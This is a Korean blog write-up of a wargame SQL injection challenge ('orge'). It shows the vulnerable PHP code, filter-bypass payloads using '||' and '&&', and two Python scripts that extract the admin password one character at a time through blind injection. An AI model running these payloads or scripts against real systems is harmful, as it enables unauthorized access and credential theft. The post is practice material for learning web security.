그냥... 갑자기 풀어봤다
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 부분을 보면 어쨌든 admin의 pw는 구해야 함
1. 비밀번호 길이 구하기
'||id='admin'&&length(pw)={숫자}# 에러뜸
처음에 char_length() 썼다가 필터링에 걸려서 length() 함수로 변경했다. 어차피 1바이트인 영어랑 숫자로만 구성돼있을거 같아서 결과는 같을 것이다.
&와 #가 URL 특수문자여서 에러가 뜬 것을 확인함. 각각 %26, %23으로 치환
코드 작성하려다 귀찮아서 숫자 1부터 하나씩 대입해보니 7에서 Hello admin이 출력됐다.
2. 비밀번호 구하기
# 비밀번호를 저장할 변수
pw = ''
# ASCII 값 범위 설정
ascii_range = list(range(48, 58)) + list(range(65, 91)) + list(range(97,123)) # 48~57: '0'-'9', 65~90: 'A'-'Z'
# SQL 인젝션으로 pw 추측
for i in range(1, 9):
print(f"{i}번째 문자 추측 중...")
for ascii_code in ascii_range:
payload = f"'||id='admin'%26%26ascii(substr(pw,{i},1))={ascii_code}--+-"
res = requests.get(url+payload, cookies=cookies, verify=False)
if 'Hello admin' in res.text: # 예제에서 "Hello admin"이 성공 조건이라고 가정
pw += chr(ascii_code)
print(f"{i}번째 문자의 ascii: {chr(ascii_code)}")
break
print(f"추출된 pw: {pw}")
이진 탐색 ver
# 비밀번호를 저장할 변수
pw = ''
# ASCII 값 범위 설정
ascii_range = list(range(48, 58)) + list(range(65, 91)) + list(range(97,123)) # 48~57: '0'-'9', 65~90: 'A'-'Z'
# SQL 인젝션으로 pw 추측
for i in range(1, 9):
print(f"{i}번째 문자 추측 중...")
low = 0
high = len(ascii_range) - 1
while low <= high:
mid = (low + high) // 2
ascii_code = ascii_range[mid]
payload = f"'||id='admin'%26%26ascii(substr(pw,{i},1))={ascii_code}--+-"
response = requests.get(url+payload, cookies=cookies, verify=False)
# 응답의 내용을 통해 올바른 문자인지 확인
if 'Hello admin' in response.text:
pw += chr(ascii_code)
print(f"{i}번째 문자: {chr(ascii_code)}")
break
else:
# 이진 탐색 조정
payload = f"'||id='admin'%26%26ascii(substr(pw,{i},1))<{ascii_code}--+-"
full_url = url + payload
response = requests.get(url+payload, cookies=cookies, verify=False)
if 'Hello admin' in response.text:
high = mid - 1
else:
low = mid + 1
print(f"추출된 pw: {pw}")
'웹 해킹 > SQL Injection' 카테고리의 다른 글
[SQL Injection] Blind SQL Injection이란? (공격 절차, 실습) (0) | 2023.12.22 |
---|---|
[SQL Injection] Union Based SQL Injection란? (공격 절차, 실습) (0) | 2023.12.19 |
[SQL Injection] Error Based SQL Injection란? (공격 절차, 실습) (1) | 2023.12.12 |
SQL Injection 공격이란? (종류, 방어기법, 공격 시나리오) (0) | 2023.12.10 |